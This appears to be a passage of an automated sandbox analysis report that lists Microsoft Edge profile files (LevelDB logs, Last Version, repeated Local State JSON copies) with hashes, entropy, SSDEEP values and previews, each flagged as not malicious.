MD5:	506871B8D8519B8E1FB85A28319C13DC
SHA1:	80AB6F2E965B0619044228F16C40DCC5A662C73D
SHA-256:	59369C21B99E9C5960F5C6080BA48195DC8E759EA20298CC7D9EC8548CA6AEBB
SHA-512:	2408D729E52D6D15C56AEAF9162610B7F06DDC8B13CDB20B6A443D38267AE39BA1810EE16A0788B873133BD278578C5297883B8DD221FB1F9E6A395D17085EA0
Malicious:	false
Preview:	2024/12/24-13:28:20.614 db8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/12/24-13:28:20.709 db8 Recovering log #3.2024/12/24-13:28:20.709 db8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.217753065412729
Encrypted:	false
SSDEEP:	6:NkRB3+q2PN723oH+TcwtfrK+IFUt8E22NZmw+E22RVkwON723oH+TcwtfrUeLJ:WcvVaYeb23FUt8J2N/+J2/5OaYeb3J
MD5:	506871B8D8519B8E1FB85A28319C13DC
SHA1:	80AB6F2E965B0619044228F16C40DCC5A662C73D
SHA-256:	59369C21B99E9C5960F5C6080BA48195DC8E759EA20298CC7D9EC8548CA6AEBB
SHA-512:	2408D729E52D6D15C56AEAF9162610B7F06DDC8B13CDB20B6A443D38267AE39BA1810EE16A0788B873133BD278578C5297883B8DD221FB1F9E6A395D17085EA0
Malicious:	false
Preview:	2024/12/24-13:28:20.614 db8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/12/24-13:28:20.709 db8 Recovering log #3.2024/12/24-13:28:20.709 db8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	343
Entropy (8bit):	5.185833633790373
Encrypted:	false
SSDEEP:	6:NUt+q2PN723oH+TcwtfrzAdIFUt8EkV7ZZmw+EkaVkwON723oH+TcwtfrzILJ:jvVaYeb9FUt877Z/+s5OaYeb2J
MD5:	A3D8113B4A4A5C25A98B5268BC4161D1
SHA1:	FF01A389652815B8C12FC63382D72ED0832B7FEB
SHA-256:	28E526D91020ECD34F887058D82DA24995A9D50FB4A99AA1422CA985FE70F6E0
SHA-512:	2A403AE63BE418F6D319D7FD52F02090FEEDAB1A5D7F5989AD138E51A4404D49E5EC3AB7AA80EB2D0AB237907D500C0E884B359667A158170FF131EE22EBA1F7
Malicious:	false
Preview:	2024/12/24-13:28:20.609 db8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/12/24-13:28:20.610 db8 Recovering log #3.2024/12/24-13:28:20.611 db8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	343
Entropy (8bit):	5.185833633790373
Encrypted:	false
SSDEEP:	6:NUt+q2PN723oH+TcwtfrzAdIFUt8EkV7ZZmw+EkaVkwON723oH+TcwtfrzILJ:jvVaYeb9FUt877Z/+s5OaYeb2J
MD5:	A3D8113B4A4A5C25A98B5268BC4161D1
SHA1:	FF01A389652815B8C12FC63382D72ED0832B7FEB
SHA-256:	28E526D91020ECD34F887058D82DA24995A9D50FB4A99AA1422CA985FE70F6E0
SHA-512:	2A403AE63BE418F6D319D7FD52F02090FEEDAB1A5D7F5989AD138E51A4404D49E5EC3AB7AA80EB2D0AB237907D500C0E884B359667A158170FF131EE22EBA1F7
Malicious:	false
Preview:	2024/12/24-13:28:20.609 db8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/12/24-13:28:20.610 db8 Recovering log #3.2024/12/24-13:28:20.611 db8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08983633118473
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWjdi1zNtPM8kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynNXkzItSmd6qE7lFoC
MD5:	DC1D934C1906D196754BA8C1310935B9
SHA1:	E8AA09E10D511EB6414BA6A471E4BF46B9BE88B3
SHA-256:	18114B0A45CCB2E3501BEC4CC5B8E733215B1CE8D8E1CAFDF07DAF4E2728C671
SHA-512:	1011B8D60922B8D87A93284803F1ED8D7B898CA55976E3D12B55C6633FBE22B4103CC16DADA99C81B58A235107DF7C310FC2CF2B5CF9D0108ABE030DC2691E9A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF45dcc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08983633118473
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWjdi1zNtPM8kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynNXkzItSmd6qE7lFoC
MD5:	DC1D934C1906D196754BA8C1310935B9
SHA1:	E8AA09E10D511EB6414BA6A471E4BF46B9BE88B3
SHA-256:	18114B0A45CCB2E3501BEC4CC5B8E733215B1CE8D8E1CAFDF07DAF4E2728C671
SHA-512:	1011B8D60922B8D87A93284803F1ED8D7B898CA55976E3D12B55C6633FBE22B4103CC16DADA99C81B58A235107DF7C310FC2CF2B5CF9D0108ABE030DC2691E9A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF45dfb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08983633118473
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWjdi1zNtPM8kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynNXkzItSmd6qE7lFoC
MD5:	DC1D934C1906D196754BA8C1310935B9
SHA1:	E8AA09E10D511EB6414BA6A471E4BF46B9BE88B3
SHA-256:	18114B0A45CCB2E3501BEC4CC5B8E733215B1CE8D8E1CAFDF07DAF4E2728C671
SHA-512:	1011B8D60922B8D87A93284803F1ED8D7B898CA55976E3D12B55C6633FBE22B4103CC16DADA99C81B58A235107DF7C310FC2CF2B5CF9D0108ABE030DC2691E9A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF46166.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08983633118473
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWjdi1zNtPM8kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynNXkzItSmd6qE7lFoC
MD5:	DC1D934C1906D196754BA8C1310935B9
SHA1:	E8AA09E10D511EB6414BA6A471E4BF46B9BE88B3
SHA-256:	18114B0A45CCB2E3501BEC4CC5B8E733215B1CE8D8E1CAFDF07DAF4E2728C671
SHA-512:	1011B8D60922B8D87A93284803F1ED8D7B898CA55976E3D12B55C6633FBE22B4103CC16DADA99C81B58A235107DF7C310FC2CF2B5CF9D0108ABE030DC2691E9A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF461b4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08983633118473
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWjdi1zNtPM8kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynNXkzItSmd6qE7lFoC
MD5:	DC1D934C1906D196754BA8C1310935B9
SHA1:	E8AA09E10D511EB6414BA6A471E4BF46B9BE88B3
SHA-256:	18114B0A45CCB2E3501BEC4CC5B8E733215B1CE8D8E1CAFDF07DAF4E2728C671
SHA-512:	1011B8D60922B8D87A93284803F1ED8D7B898CA55976E3D12B55C6633FBE22B4103CC16DADA99C81B58A235107DF7C310FC2CF2B5CF9D0108ABE030DC2691E9A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF48912.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08983633118473
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWjdi1zNtPM8kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynNXkzItSmd6qE7lFoC
MD5:	DC1D934C1906D196754BA8C1310935B9
SHA1:	E8AA09E10D511EB6414BA6A471E4BF46B9BE88B3
SHA-256:	18114B0A45CCB2E3501BEC4CC5B8E733215B1CE8D8E1CAFDF07DAF4E2728C671
SHA-512:	1011B8D60922B8D87A93284803F1ED8D7B898CA55976E3D12B55C6633FBE22B4103CC16DADA99C81B58A235107DF7C310FC2CF2B5CF9D0108ABE030DC2691E9A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF489cd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08983633118473
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWjdi1zNtPM8kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynNXkzItSmd6qE7lFoC
MD5:	DC1D934C1906D196754BA8C1310935B9
SHA1:	E8AA09E10D511EB6414BA6A471E4BF46B9BE88B3
SHA-256:	18114B0A45CCB2E3501BEC4CC5B8E733215B1CE8D8E1CAFDF07DAF4E2728C671
SHA-512:	1011B8D60922B8D87A93284803F1ED8D7B898CA55976E3D12B55C6633FBE22B4103CC16DADA99C81B58A235107DF7C310FC2CF2B5CF9D0108ABE030DC2691E9A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF48ae7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08983633118473
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWjdi1zNtPM8kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynNXkzItSmd6qE7lFoC
MD5:	DC1D934C1906D196754BA8C1310935B9
SHA1:	E8AA09E10D511EB6414BA6A471E4BF46B9BE88B3
SHA-256:	18114B0A45CCB2E3501BEC4CC5B8E733215B1CE8D8E1CAFDF07DAF4E2728C671
SHA-512:	1011B8D60922B8D87A93284803F1ED8D7B898CA55976E3D12B55C6633FBE22B4103CC16DADA99C81B58A235107DF7C310FC2CF2B5CF9D0108ABE030DC2691E9A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4b1b8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08983633118473
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWjdi1zNtPM8kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynNXkzItSmd6qE7lFoC
MD5:	DC1D934C1906D196754BA8C1310935B9
SHA1:	E8AA09E10D511EB6414BA6A471E4BF46B9BE88B3
SHA-256:	18114B0A45CCB2E3501BEC4CC5B8E733215B1CE8D8E1CAFDF07DAF4E2728C671
SHA-512:	1011B8D60922B8D87A93284803F1ED8D7B898CA55976E3D12B55C6633FBE22B4103CC16DADA99C81B58A235107DF7C310FC2CF2B5CF9D0108ABE030DC2691E9A
Malicious:	false
